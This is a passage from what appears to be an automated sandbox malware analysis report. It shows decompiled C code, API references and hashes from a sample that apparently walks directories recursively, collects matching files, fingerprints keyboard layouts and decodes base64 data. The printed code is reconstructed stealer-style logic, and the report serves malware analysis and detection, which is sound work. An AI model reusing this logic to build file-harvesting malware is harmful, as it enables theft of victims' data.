						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x616890
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16);
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNEL32(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\*, xrefs: 0040128D
%s\%s, xrefs: 00401306, 00401357

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00586090, Relevance: 30.2, APIs: 20, Instructions: 215filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005860AD
FindFirstFileA.KERNEL32(?,?), ref: 005860C4
lstrcat.KERNEL32(?,?), ref: 005860EC
StrCmpCA.SHLWAPI(?,00414010), ref: 0058610C
StrCmpCA.SHLWAPI(?,00414014), ref: 00586122
FindNextFileA.KERNEL32(000000FF,?), ref: 00586361
FindClose.KERNEL32(000000FF), ref: 00586376

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID:
API String ID: 1125553467-0
Opcode ID: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction ID: faf638ab70da85515b99eaae86485eb22ff787a638a4b1bb65cccf23b499c06c
Opcode Fuzzy Hash: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction Fuzzy Hash: BF8172B6900208EFCF10DFA4DC49DEA77B8BF88741F448AD8F60AA6141E7749A94CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00589BC0, Relevance: 28.6, APIs: 19, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00589BD9
FindFirstFileA.KERNEL32(?,?), ref: 00589BF0
StrCmpCA.SHLWAPI(?,00414010), ref: 00589C16
StrCmpCA.SHLWAPI(?,00414014), ref: 00589C2C
FindNextFileA.KERNEL32(000000FF,?), ref: 00589D70
FindClose.KERNEL32(000000FF), ref: 00589D85

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction ID: a5be5822015b98e71bbb39a4a7707b915e3c5119318da6272624991fa3180926
Opcode Fuzzy Hash: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction Fuzzy Hash: 194155B2510218ABCB20EFA0DD48EEA77B8BF4C705F048599B605A2050E779EB94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005814D0, Relevance: 24.1, APIs: 16, Instructions: 134fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005814E9
FindFirstFileA.KERNEL32(?,?), ref: 00581500
StrCmpCA.SHLWAPI(?,00414010), ref: 00581526
StrCmpCA.SHLWAPI(?,00414014), ref: 0058153C
FindNextFileA.KERNEL32(000000FF,?), ref: 0058169B
FindClose.KERNEL32(000000FF), ref: 005816B0

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction ID: f0e1f2cfe5372dad55efbae3d06eeb956936ff02ede1ad76d3f1846e86c0ed66
Opcode Fuzzy Hash: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction Fuzzy Hash: 48517772500618ABCB10EFA1DD48EEA77BCBF8C704F048599B609A3050E775EB95CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x6185c0
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x618dc8
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x6188a8
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x6185d8
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\*, xrefs: 004096ED
%s\%s, xrefs: 00409766

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x61a540
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x619840
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x61a5a0
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x619840
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x616100
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x619840
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652);
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180);
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860);
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNEL32(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 005812E0, Relevance: 19.6, APIs: 13, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 005812ED
wsprintfA.USER32 ref: 00581307
FindFirstFileA.KERNEL32(?,?), ref: 0058131E
StrCmpCA.SHLWAPI(?,00414010), ref: 00581344
StrCmpCA.SHLWAPI(?,00414014), ref: 0058135A
FindNextFileA.KERNEL32(000000FF,?), ref: 00581423
FindClose.KERNEL32(000000FF), ref: 00581438

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID:
API String ID: 2809309208-0
Opcode ID: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction ID: 88587074abac64e82570a04d6c614034d26be9a070d28415654041deb0358d26
Opcode Fuzzy Hash: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction Fuzzy Hash: 3A3173B650061CABCB10EFA0DD88EEA77BCBF4C705F008699B609A2450DB74DB95CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200);
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00589D90, Relevance: 18.2, APIs: 12, Instructions: 183fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00589DA9
FindFirstFileA.KERNEL32(?,?), ref: 00589DC0
StrCmpCA.SHLWAPI(?,00414010), ref: 00589DE6
StrCmpCA.SHLWAPI(?,00414014), ref: 00589DFC
FindNextFileA.KERNEL32(000000FF,?), ref: 00589FE8
FindClose.KERNEL32(000000FF), ref: 00589FFD

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction ID: 1dae2b32df92275e01d822e110578eb7fd63b85ac929423ac0bae82380f6b0f5
Opcode Fuzzy Hash: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction Fuzzy Hash: C7618DB2900109ABCB14EFA4DC85EEB77BCBF88700F048599F60993151E775EA94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00589930, Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00589949
FindFirstFileA.KERNEL32(?,?), ref: 00589960
StrCmpCA.SHLWAPI(?,00414010), ref: 00589986
StrCmpCA.SHLWAPI(?,00414014), ref: 0058999C
FindNextFileA.KERNEL32(000000FF,?), ref: 00589B9A
FindClose.KERNEL32(000000FF), ref: 00589BAF

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: dad6b138cceabcaead9cc50eeb4e852b0d829663193653e4ce47314f98838936
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: F18100B6500109ABCB14EF94DC85EFB77BDBF8C700F088599BA09A3151D634EA54CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0058B050, Relevance: 15.1, APIs: 10, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0058B060
RtlAllocateHeap.NTDLL(00000000), ref: 0058B067
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0058B088
LocalAlloc.KERNEL32(00000040,?), ref: 0058B0A0
GetKeyboardLayoutList.USER32(?,00000000), ref: 0058B0B4
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0058B109
wsprintfA.USER32 ref: 0058B132
wsprintfA.USER32 ref: 0058B150
memset.NTDLL ref: 0058B176
LocalFree.KERNEL32(00000000), ref: 0058B18B

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID:
API String ID: 1833916909-0
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: 8ae7091ce3257af0daa2d5ec07bd7583c1b928c4c37c3ec75318a1ff0358f024
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 52315AB0A8121CEBEB60DB94CD8DBEAB7B8FB44300F1086D5E519A6291CB745ED0CF55

Uniqueness

Uniqueness Score: -1.00%

Function 005876C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,vyX,00000000,00000000), ref: 005876EF
LocalAlloc.KERNEL32(00000040,?,?,00587976,?,?), ref: 00587701
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,vyX,00000000,00000000), ref: 0058772A
LocalFree.KERNEL32(?,?,?,00587976,?,?), ref: 0058773F

Strings

vyX, xrefs: 005876D4, 005876E1, 005876F9, 00587718, 005876E4, 0058771B

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: vyX
API String ID: 4291131564-879810185
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: 28baa3cd96a1bdf9b9f7231d86830c815d690cf337cec4d5799600d6a9da0976
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 24119DB4641208AFEB10CF64CC95FAA77B5FB89710F208458FE159B2D0C7B6AA51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

